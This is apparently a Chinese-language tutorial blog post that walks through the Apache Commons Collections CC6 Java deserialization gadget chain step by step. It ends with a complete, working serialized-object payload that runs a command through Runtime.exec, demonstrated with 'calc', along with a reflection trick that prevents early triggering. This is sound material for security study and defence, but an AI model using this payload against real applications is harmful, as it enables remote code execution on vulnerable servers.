文章目录
- CC6和CC1之间的区别
- CC6的调用链
- 构造CC6的payload
- 完成`TiedMapEntry.getValue()`
- 完成`TiedMapEntry.hashCode()`
- 完成`HashMap.hash()`及`HashMap.readObject()`
- 解决`hash()`方法提前触发的问题
系列篇其他文章,推荐顺序观看~
- Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
- Java反序列化利用链篇 | CC1链_全网最菜的分析思路
- Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链
- Java反序列化利用链篇 | URLDNS链
- Java反序列化利用链篇 | CC6链分析(通用版CC链)
CC6和CC1之间的区别
在CC1的LazyMap链中,调用链如下:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
而在CC1链中,对CommonsCollections和jdk版本是有限制的。
而CC6链不受版本影响,更具通用性。
其调用链为:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

其和CC1的不同点在于,入口类不同,通过
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
调用了LazyMap的get()方法。
CC6的调用链
HashMap.readObject()方法调用了HashMap.hash()方法:

HashMap.hash()方法调用了key.hashCode()方法,如果要使调用的是TiedMapEntry.hashCode()方法,需要使key参数为TiedMapEntry对象:

TiedMapEntry.hashCode()方法调用了TiedMapEntry.getValue()方法:

TiedMapEntry.getValue()方法调用了map.get()方法,如果要使被调用的是LazyMap.get()方法,需要使map属性为LazyMap对象:

构造CC6的payload
CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
完成TiedMapEntry.getValue()
TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
而TiedMapEntry的构造方法为public,所以可以直接实例化

代码如下:
这里有一个点需要注意(小坑):
TiedMapEntry()构造方法的第二个参数用不到,所以随意传入进行,但是重要的是它接受一个Object对象,而这个对象的类需要实现Serializable接口,如果不是,则后续的序列化不能成功。
所以,这里不能传入new Object(),但可以传入new String(),因为Object类没有实现Serializable接口。
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
其中的getValue()也为public修饰,所以可以直接调用用来测试

tiedMapEntry.getValue();
运行,成功执行恶意代码:

完成TiedMapEntry.hashCode()
接下来,看谁调用了tiedMapEntry的getValue(),前面已经说过,TiedMapEntry的hashCode()方法中有调用,因此:
tiedMapEntry.hashCode();
这里直接测试,此时代码如下(只是将getValue方法替换成了hashCode方法):

完成HashMap.hash()及HashMap.readObject()
接下来就是HashMap中的hash()方法调用hashCode()方法,其中传入的key需要是tiedMapEntry

hash()方法没有被public修饰,不能直接调用,因此需要利用readObject()方法,因为在readObject()方法中存在hash()方法的调用。

readObject()方法在反序列化的时候会被调用,因此我们只需要创建一个HashMap对象,然后序列化即可。注意key需要保证是tiedMapEntry
代码如下:
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMap
此时的payload的代码如下:
// CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMap
SerAndUnser.serialize(hashMap);
// SerAndUnser.unserialize("ser.bin");
看似完美,但是运行会发现,即使不进行序列,也会弹计算器?

这是为什么呢?
如果我们进入hashMap的put()方法会发现,put()方法中已经触发了hash()方法,

接下来,解决一下这个问题
解决hash()方法提前触发的问题
这里其实跟URLDNS链中的情况差不多~
我们的解决思路是:
- 1)
tiedMapEntry对象在put方式放入hashMap对象时,使tiedMapEntry对象中的内容不完整,进而不让最终的代码触发。 - 2)
put完成之后,通过反射再将tiedMapEntry对象中的内容修改完整。
那如何让tiedMapEntry对象中的内容不完整呢?这里需要看一下tiedMapEntry对象中有什么:

可以看到tiedMapEntry对象中有lazyMap、chainedTransformer、transformerArray。
其中tiedMapEntry对象的map属性存放的就是lazyMap,我们将map属性设置为空的map对象(除上面创建的lazyMap都行),则最终就不会触发到恶意代码 (当然其他的也行:只要保证整个链子到不了恶意代码就行)。
第1步先获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
第2步将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
第3步,完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);
因此最终的payload为:
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa"); // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);
SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");





![[Matplotlib教程] 02 折线图、柱状图、散点图教程](https://img-blog.csdnimg.cn/img_convert/eb0d2849d0b92c7e744e3d7d2bdf29bb.png)













